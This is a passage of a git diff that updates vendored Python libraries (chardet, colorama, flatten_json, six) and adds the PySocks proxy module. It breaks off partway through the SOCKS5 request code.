WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState +from .codingstatemachine import CodingStateMachine +from .mbcssm import UTF8_SM_MODEL + + + +class UTF8Prober(CharSetProber): + ONE_CHAR_PROB = 0.5 + + def __init__(self): + super(UTF8Prober, self).__init__() + self.coding_sm = CodingStateMachine(UTF8_SM_MODEL) + self._num_mb_chars = None + self.reset() + + def reset(self): + super(UTF8Prober, self).reset() + self.coding_sm.reset() + self._num_mb_chars = 0 + + @property + def charset_name(self): + return "utf-8" + + @property + def language(self): + return "" + + def feed(self, byte_str): + for c in byte_str: + coding_state = self.coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + if self.coding_sm.get_current_charlen() >= 2: + self._num_mb_chars += 1 + + if self.state == ProbingState.DETECTING: + if self.get_confidence() > self.SHORTCUT_THRESHOLD: + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + unlike = 0.99 + if self._num_mb_chars < 6: + unlike *= self.ONE_CHAR_PROB ** self._num_mb_chars + return 1.0 - unlike + else: + return unlike diff --git a/src/thirdparty/chardet/version.py b/src/thirdparty/chardet/version.py new file mode 100644 index 0000000000..70369b9d66 --- /dev/null +++ b/src/thirdparty/chardet/version.py @@ -0,0 +1,9 @@ +""" +This module exists only to simplify retrieving the version number of chardet +from within setup.py and from chardet subpackages. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + +__version__ = "4.0.0" +VERSION = __version__.split('.') diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py index 666f344ec5..6648dc7b04 100644 --- a/src/thirdparty/colorama/ansi.py +++ b/src/thirdparty/colorama/ansi.py @@ -99,7 +99,7 @@ class AnsiBack: BLACK = RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0 # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 + LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 class AnsiStyle: diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py index 2c9cea763c..d0ef04efee 100644 --- a/src/thirdparty/colorama/ansitowin32.py +++ b/src/thirdparty/colorama/ansitowin32.py @@ -46,8 +46,8 @@ class AnsiToWin32(object): sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' - ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command + ANSI_CSI_RE = re.compile(r'\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer + ANSI_OSC_RE = re.compile(r'\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py index e69de29bb2..4070d740eb 100644 --- a/src/thirdparty/flatten_json/__init__.py +++ b/src/thirdparty/flatten_json/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +Flattens JSON objects in Python. +flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. +""" + +pass \ No newline at end of file diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 1f4de43438..0eea7db7f5 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -2,14 +2,14 @@ # -*- coding: utf-8 -*- """ -Flattens JSON objects in Python. +Flattens JSON objects in Python. flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. https://github.com/amirziai/flatten """ from src.utils import settings -from collections import Iterable -from collections import OrderedDict +from src.thirdparty.odict import OrderedDict +from src.thirdparty.six.moves import collections_abc as _collections def check_if_numbers_are_consecutive(list_): """ @@ -34,7 +34,7 @@ def _construct_key(previous_key, separator, new_key): else: return new_key -def flatten(nested_dict, separator="_", root_keys_to_ignore=""): +def flatten(nested_dict, separator=settings.FLATTEN_JSON_SEPARATOR, root_keys_to_ignore=""): """ Flattens a dictionary with nested structure to a dictionary with no hierarchy Consider ignoring keys that you are not interested in to prevent unnecessary processing @@ -46,10 +46,10 @@ def flatten(nested_dict, separator="_", root_keys_to_ignore=""): :return: flattened dictionary """ try: - assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input." assert isinstance(separator, str), "Separator must be a string" + # assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # This global dictionary stores the flattened keys and values and is ultimately returned @@ -80,14 +80,14 @@ def _flatten(object_, key): def _unflatten_asserts(flat_dict, separator): try: - assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input." assert isinstance(separator, str), "Separator must be a string." + # assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input." # assert all(isinstance(value, (bool, float, int, str)) for value in flat_dict.values()), "The provided dictionary is not flat." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() -def unflatten(flat_dict, separator='_'): +def unflatten(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Creates a hierarchical dictionary from a flattened dictionary Assumes no lists are present @@ -112,7 +112,7 @@ def _unflatten(dic, keys, value): return unflattened_dict -def unflatten_list(flat_dict, separator='_'): +def unflatten_list(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Unflattens a dictionary, first assuming no lists exist and then tries to identify lists and replaces them This is probably not very efficient and has not been tested extensively @@ -130,23 +130,45 @@ def unflatten_list(flat_dict, separator='_'): # First unflatten the dictionary assuming no lists exist unflattened_dict = unflatten(flat_dict, separator) - def _convert_dict_to_list(object_, parent_object, parent_object_key): - if isinstance(object_, dict): - try: - keys = [int(key) for key in object_] - keys.sort() - except (ValueError, TypeError): - keys = [] - keys_len = len(keys) - - if (keys_len > 0 and sum(keys) == int(((keys_len - 1) * keys_len) / 2) and keys[0] == 0 and - keys[-1] == keys_len - 1 and check_if_numbers_are_consecutive(keys)): - # The dictionary looks like a list so we're going to replace it as one - parent_object[parent_object_key] = [object_[str(key)] for key in keys] - - for key in object_: - if isinstance(object_[key], dict): - _convert_dict_to_list(object_[key], object_, key) - - _convert_dict_to_list(unflattened_dict, None, None) + def _convert_dict_to_list(obj, parent_obj=None, parent_key=None): + if not isinstance(obj, dict): + return obj + + try: + keys = sorted(int(k) for k in obj) + except (ValueError, TypeError): + keys = [] + + is_list_like = ( + keys and + keys[0] == 0 and + keys[-1] == len(keys) - 1 and + sum(keys) == len(keys) * (len(keys) - 1) // 2 and + check_if_numbers_are_consecutive(keys) + ) + + if is_list_like: + new_list = [obj[str(k)] for k in keys] + + # Recursively process list elements + for i, item in enumerate(new_list): + if isinstance(item, dict): + new_list[i] = _convert_dict_to_list(item) + + # Replace in parent or return if root + if parent_obj is not None and parent_key is not None: + parent_obj[parent_key] = new_list + return new_list + else: + return new_list + + # Not list-like → recurse normally + for k, v in list(obj.items()): + if isinstance(v, dict): + obj[k] = _convert_dict_to_list(v, obj, k) + + return obj + + + unflattened_dict = _convert_dict_to_list(unflattened_dict) return unflattened_dict diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py new file mode 100644 index 0000000000..2d8951f0fe --- /dev/null +++ b/src/thirdparty/odict/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python + +import sys + +if sys.version_info[:2] >= (2, 7): + from collections import OrderedDict +else: + from src.thirdparty.six.moves import collections_abc as _collections + from _collections import OrderedDict diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py index 89b2188fd6..d4fe9849f2 100644 --- a/src/thirdparty/six/__init__.py +++ b/src/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2018 Benjamin Peterson +# Copyright (c) 2010-2020 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import types __author__ = "Benjamin Peterson <benjamin@python.org>" -__version__ = "1.12.0" +__version__ = "1.16.0" # Useful for very coarse version differentiation. @@ -71,6 +71,11 @@ def __len__(self): MAXSIZE = int((1 << 63) - 1) del X +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + def _add_doc(func, doc): """Add documentation to a function.""" @@ -186,6 +191,11 @@ def find_module(self, fullname, path=None): return self return None + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + def __get_module(self, fullname): try: return self.known_modules[fullname] @@ -223,6 +233,12 @@ def get_code(self, fullname): return None get_source = get_code # same as get_code + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + _importer = _SixMetaPathImporter(__name__) @@ -247,7 +263,7 @@ class _MovedItems(_LazyModule): MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), - MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), @@ -255,9 +271,11 @@ class _MovedItems(_LazyModule): MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), - MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), @@ -637,13 +655,16 @@ def u(s): import io StringIO = io.StringIO BytesIO = io.BytesIO + del io _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" else: def b(s): return s @@ -665,6 +686,7 @@ def indexbytes(buf, i): _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") @@ -681,6 +703,10 @@ def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + if PY3: exec_ = getattr(moves.builtins, "exec") @@ -716,16 +742,7 @@ def exec_(_code_, _globs_=None, _locs_=None): """) -if sys.version_info[:2] == (3, 2): - exec_("""def raise_from(value, from_value): - try: - if from_value is None: - raise value - raise value from from_value - finally: - value = None -""") -elif sys.version_info[:2] > (3, 2): +if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: raise value from from_value @@ -805,13 +822,33 @@ def print_(*args, **kwargs): _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): - def wrapper(f): - f = functools.wraps(wrapped, assigned, updated)(f) - f.__wrapped__ = wrapped - return f - return wrapper + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + else: wraps = functools.wraps @@ -824,7 +861,15 @@ def with_metaclass(meta, *bases): class metaclass(type): def __new__(cls, name, this_bases, d): - return meta(name, bases, d) + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) @classmethod def __prepare__(cls, name, this_bases): @@ -861,12 +906,11 @@ def ensure_binary(s, encoding='utf-8', errors='strict'): - `str` -> encoded to `bytes` - `bytes` -> `bytes` """ + if isinstance(s, binary_type): + return s if isinstance(s, text_type): return s.encode(encoding, errors) - elif isinstance(s, binary_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) + raise TypeError("not expecting type '%s'" % type(s)) def ensure_str(s, encoding='utf-8', errors='strict'): @@ -880,12 +924,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'): - `str` -> `str` - `bytes` -> decoded to `str` """ - if not isinstance(s, (text_type, binary_type)): - raise TypeError("not expecting type '%s'" % type(s)) + # Optimization: Fast return for the common case. + if type(s) is str: + return s if PY2 and isinstance(s, text_type): - s = s.encode(encoding, errors) + return s.encode(encoding, errors) elif PY3 and isinstance(s, binary_type): - s = s.decode(encoding, errors) + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) return s @@ -908,10 +955,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'): raise TypeError("not expecting type '%s'" % type(s)) - def python_2_unicode_compatible(klass): """ - A decorator that defines __unicode__ and __str__ methods under Python 2. + A class decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method diff --git a/src/thirdparty/socks/LICENSE b/src/thirdparty/socks/LICENSE new file mode 100644 index 0000000000..04b6b1f37c --- /dev/null +++ b/src/thirdparty/socks/LICENSE @@ -0,0 +1,22 @@ +Copyright 2006 Dan-Haim. All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +3. Neither the name of Dan Haim nor the names of his contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA +OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. diff --git a/src/thirdparty/socks/__init__.py b/src/thirdparty/socks/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/src/thirdparty/socks/socks.py b/src/thirdparty/socks/socks.py new file mode 100644 index 0000000000..0356d875a7 --- /dev/null +++ b/src/thirdparty/socks/socks.py @@ -0,0 +1,897 @@ +from base64 import b64encode +try: + from collections.abc import Callable +except ImportError: + from collections import Callable +from errno import EOPNOTSUPP, EINVAL, EAGAIN +import functools +from io import BytesIO +import logging +import os +from os import SEEK_CUR +import socket +import struct +import sys + +__version__ = "1.7.1" + + +if os.name == "nt" and sys.version_info < (3, 0): + try: + from thirdparty.wininetpton import win_inet_pton + except ImportError: + try: + import win_inet_pton + except ImportError: + raise ImportError( + "To run PySocks on Windows you must install win_inet_pton") + +log = logging.getLogger(__name__) + +PROXY_TYPE_SOCKS4 = SOCKS4 = 1 +PROXY_TYPE_SOCKS5 = SOCKS5 = 2 +PROXY_TYPE_HTTP = HTTP = 3 + +PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP} +PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys())) + +_orgsocket = _orig_socket = socket.socket +_orgcreateconnection = socket.create_connection + + +def set_self_blocking(function): + + @functools.wraps(function) + def wrapper(*args, **kwargs): + self = args[0] + try: + _is_blocking = self.gettimeout() + if _is_blocking == 0: + self.setblocking(True) + return function(*args, **kwargs) + except Exception as e: + raise + finally: + # set orgin blocking + if _is_blocking == 0: + self.setblocking(False) + return wrapper + + +class ProxyError(IOError): + """Socket_err contains original socket.error exception.""" + def __init__(self, msg, socket_err=None): + self.msg = msg + self.socket_err = socket_err + + if socket_err: + self.msg += ": {}".format(socket_err) + + def __str__(self): + return self.msg + + +class GeneralProxyError(ProxyError): + pass + + +class ProxyConnectionError(ProxyError): + pass + + +class SOCKS5AuthError(ProxyError): + pass + + +class SOCKS5Error(ProxyError): + pass + + +class SOCKS4Error(ProxyError): + pass + + +class HTTPError(ProxyError): + pass + + +# Backward-compatible SocksiPy class names used by older callers. +Socks5AuthError = SOCKS5AuthError +Socks5Error = SOCKS5Error +Socks4Error = SOCKS4Error + +SOCKS4_ERRORS = { + 0x5B: "Request rejected or failed", + 0x5C: ("Request rejected because SOCKS server cannot connect to identd on" + " the client"), + 0x5D: ("Request rejected because the client program and identd report" + " different user-ids") +} + +SOCKS5_ERRORS = { + 0x01: "General SOCKS server failure", + 0x02: "Connection not allowed by ruleset", + 0x03: "Network unreachable", + 0x04: "Host unreachable", + 0x05: "Connection refused", + 0x06: "TTL expired", + 0x07: "Command not supported, or protocol error", + 0x08: "Address type not supported" +} + +DEFAULT_PORTS = {SOCKS4: 1080, SOCKS5: 1080, HTTP: 8080} + + +def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """Sets a default proxy. + + All further socksocket objects will use the default unless explicitly + changed. All parameters are as for socket.set_proxy().""" + socksocket.default_proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + +def setdefaultproxy(*args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return set_default_proxy(*args, **kwargs) + + +def get_default_proxy(): + """Returns the default proxy, set by set_default_proxy.""" + return socksocket.default_proxy + +getdefaultproxy = get_default_proxy + + +def wrap_module(module): + """Attempts to replace a module's socket library with a SOCKS socket. + + Must set a default proxy using set_default_proxy(...) first. This will + only work on modules that import socket directly into the namespace; + most of the Python Standard Library falls into this category. + + Keep the historical guarded socket wrapper so non-INET/non-stream + sockets are not proxied, and keep the create_connection() patch for + SOCKS5/HTTP proxies to avoid local DNS leakage. + """ + if socksocket.default_proxy: + _orig_socket_ctor = _orgsocket + + @functools.wraps(_orig_socket_ctor) + def guarded_socket(*args, **kwargs): + family = args[0] if len(args) > 0 else kwargs.get("family", socket.AF_INET) + stype = args[1] if len(args) > 1 else kwargs.get("type", socket.SOCK_STREAM) + + flags = 0 + flags |= getattr(socket, "SOCK_CLOEXEC", 0) + flags |= getattr(socket, "SOCK_NONBLOCK", 0) + base_type = stype & ~flags + + if family in (socket.AF_INET, getattr(socket, "AF_INET6", socket.AF_INET)) and base_type == socket.SOCK_STREAM: + return socksocket(*args, **kwargs) + + return _orig_socket_ctor(*args, **kwargs) + + module.socket.socket = guarded_socket + + if socksocket.default_proxy[0] != PROXY_TYPE_SOCKS4: + module.socket.create_connection = create_connection + else: + raise GeneralProxyError("No default proxy specified") + + +def unwrap_module(module): + module.socket.socket = _orgsocket + module.socket.create_connection = _orgcreateconnection + +wrapmodule = wrap_module +unwrapmodule = unwrap_module + + +def create_connection(dest_pair, + timeout=None, source_address=None, + proxy_type=None, proxy_addr=None, + proxy_port=None, proxy_rdns=True, + proxy_username=None, proxy_password=None, + socket_options=None): + """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object + + Like socket.create_connection(), but connects to proxy + before returning the socket object. + + dest_pair - 2-tuple of (IP/hostname, port). + **proxy_args - Same args passed to socksocket.set_proxy() if present. + timeout - Optional socket timeout value, in seconds. + source_address - tuple (host, port) for the socket to bind to as its source + address before connecting (only for compatibility) + """ + # Remove IPv6 brackets on the remote address and proxy address. + remote_host, remote_port = dest_pair + if remote_host.startswith("["): + remote_host = remote_host.strip("[]") + if proxy_addr and proxy_addr.startswith("["): + proxy_addr = proxy_addr.strip("[]") + + # when this function is installed as socket.create_connection(), + # callers do not pass explicit proxy_* arguments; use the default proxy. + use_default_proxy = proxy_type is None and socksocket.default_proxy + if use_default_proxy: + proxy_type, proxy_addr, proxy_port, proxy_rdns, proxy_username, proxy_password = socksocket.default_proxy + elif proxy_type is None: + return _orgcreateconnection(dest_pair, timeout, source_address) + + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + err = None + + # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses. + for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM): + family, socket_type, proto, canonname, sa = r + sock = None + try: + sock = socksocket(family, socket_type, proto) + + if socket_options: + for opt in socket_options: + sock.setsockopt(*opt) + + if isinstance(timeout, (int, float)): + sock.settimeout(timeout) + + if proxy_type and not use_default_proxy: + sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns, + proxy_username, proxy_password) + if source_address: + sock.bind(source_address) + + sock.connect((remote_host, remote_port)) + return sock + + except (socket.error, ProxyError) as e: + err = e + if sock: + sock.close() + sock = None + + if err: + raise err + + raise socket.error("gai returned empty list.") + + +class _BaseSocket(socket.socket): + """Allows Python 2 delegated methods such as send() to be overridden.""" + def __init__(self, *pos, **kw): + _orig_socket.__init__(self, *pos, **kw) + + self._savedmethods = dict() + for name in self._savenames: + self._savedmethods[name] = getattr(self, name) + delattr(self, name) # Allows normal overriding mechanism to work + + _savenames = list() + + +def _makemethod(name): + return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw) +for name in ("sendto", "send", "recvfrom", "recv"): + method = getattr(_BaseSocket, name, None) + + # Determine if the method is not defined the usual way + # as a function in the class. + # Python 2 uses __slots__, so there are descriptors for each method, + # but they are not functions. + if not isinstance(method, Callable): + _BaseSocket._savenames.append(name) + setattr(_BaseSocket, name, _makemethod(name)) + + +class socksocket(_BaseSocket): + """socksocket([family[, type[, proto]]]) -> socket object + + Open a SOCKS enabled socket. The parameters are the same as + those of the standard socket init. In order for SOCKS to work, + you must specify family=AF_INET and proto=0. + The "type" argument must be either SOCK_STREAM or SOCK_DGRAM. + """ + + default_proxy = None + + def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, + proto=0, *args, **kwargs): + if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM): + msg = "Socket type must be stream or datagram, not {!r}" + raise ValueError(msg.format(type)) + + super(socksocket, self).__init__(family, type, proto, *args, **kwargs) + self._proxyconn = None # TCP connection to keep UDP relay alive + + if self.default_proxy: + self.proxy = self.default_proxy + else: + self.proxy = (None, None, None, None, None, None) + self.proxy_sockname = None + self.proxy_peername = None + + self._timeout = None + + def _readall(self, file, count): + """Receive EXACTLY the number of bytes requested from the file object. + + Blocks until the required number of bytes have been received.""" + data = b"" + while len(data) < count: + d = file.read(count - len(data)) + if not d: + raise GeneralProxyError("Connection closed unexpectedly") + data += d + return data + + def settimeout(self, timeout): + self._timeout = timeout + try: + # test if we're connected, if so apply timeout + peer = self.get_proxy_peername() + super(socksocket, self).settimeout(self._timeout) + except socket.error: + pass + + def gettimeout(self): + return self._timeout + + def setblocking(self, v): + if v: + self.settimeout(None) + else: + self.settimeout(0.0) + + def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """ Sets the proxy to be used. + + proxy_type - The type of the proxy to be used. Three types + are supported: PROXY_TYPE_SOCKS4 (including socks4a), + PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP + addr - The address of the server (IP or DNS). + port - The port of the server. Defaults to 1080 for SOCKS + servers and 8080 for HTTP proxy servers. + rdns - Should DNS queries be performed on the remote side + (rather than the local side). The default is True. + Note: This has no effect with SOCKS4 servers. + username - Username to authenticate with to the server. + The default is no authentication. + password - Password to authenticate with to the server. + Only relevant when username is also provided.""" + self.proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + def setproxy(self, *args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return self.set_proxy(*args, **kwargs) + + def bind(self, *pos, **kw): + """Implements proxy connection for UDP sockets. + + Happens during the bind() phase.""" + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + if not proxy_type or self.type != socket.SOCK_DGRAM: + return _orig_socket.bind(self, *pos, **kw) + + if self._proxyconn: + raise socket.error(EINVAL, "Socket already bound to an address") + if proxy_type != SOCKS5: + msg = "UDP only supported by SOCKS5 proxy type" + raise socket.error(EOPNOTSUPP, msg) + super(socksocket, self).bind(*pos, **kw) + + # Need to specify actual local port because + # some relays drop packets if a port of zero is specified. + # Avoid specifying host address in case of NAT though. + _, port = self.getsockname() + dst = ("0", port) + + self._proxyconn = _orig_socket() + proxy = self._proxy_addr() + self._proxyconn.connect(proxy) + + UDP_ASSOCIATE = b"\x03" + _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst) + + # The relay is most likely on the same host as the SOCKS proxy, + # but some proxies return a private IP address (10.x.y.z) + host, _ = proxy + _, port = relay + super(socksocket, self).connect((host, port)) + super(socksocket, self).settimeout(self._timeout) + self.proxy_sockname = ("0.0.0.0", 0) # Unknown + + def sendto(self, bytes, *args, **kwargs): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).sendto(bytes, *args, **kwargs) + if not self._proxyconn: + self.bind(("", 0)) + + address = args[-1] + flags = args[:-1] + + header = BytesIO() + RSV = b"\x00\x00" + header.write(RSV) + STANDALONE = b"\x00" + header.write(STANDALONE) + self._write_SOCKS5_address(address, header) + + sent = super(socksocket, self).send(header.getvalue() + bytes, *flags, + **kwargs) + return sent - header.tell() + + def send(self, bytes, flags=0, **kwargs): + if self.type == socket.SOCK_DGRAM: + return self.sendto(bytes, flags, self.proxy_peername, **kwargs) + else: + return super(socksocket, self).send(bytes, flags, **kwargs) + + def recvfrom(self, bufsize, flags=0): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).recvfrom(bufsize, flags) + if not self._proxyconn: + self.bind(("", 0)) + + buf = BytesIO(super(socksocket, self).recv(bufsize + 1024, flags)) + buf.seek(2, SEEK_CUR) + frag = buf.read(1) + if ord(frag): + raise NotImplementedError("Received UDP packet fragment") + fromhost, fromport = self._read_SOCKS5_address(buf) + + if self.proxy_peername: + peerhost, peerport = self.proxy_peername + if fromhost != peerhost or peerport not in (0, fromport): + raise socket.error(EAGAIN, "Packet filtered") + + return (buf.read(bufsize), (fromhost, fromport)) + + def recv(self, *pos, **kw): + bytes, _ = self.recvfrom(*pos, **kw) + return bytes + + def close(self): + if self._proxyconn: + self._proxyconn.close() + return super(socksocket, self).close() + + def get_proxy_sockname(self): + """Returns the bound IP address and port number at the proxy.""" + return self.proxy_sockname + + getproxysockname = get_proxy_sockname + + def get_proxy_peername(self): + """ + Returns the IP and port number of the proxy. + """ + return self.getpeername() + + getproxypeername = get_proxy_peername + + def get_peername(self): + """Returns the IP address and port number of the destination machine. + + Note: get_proxy_peername returns the proxy.""" + return self.proxy_peername + + getpeername = get_peername + + def _negotiate_SOCKS5(self, *dest_addr): + """Negotiates a stream connection through a SOCKS5 server.""" + CONNECT = b"\x01" + self.proxy_peername, self.proxy_sockname = self._SOCKS5_request( + self, CONNECT, dest_addr) + + def _SOCKS5_request(self, conn, cmd, dst): + """ + Send 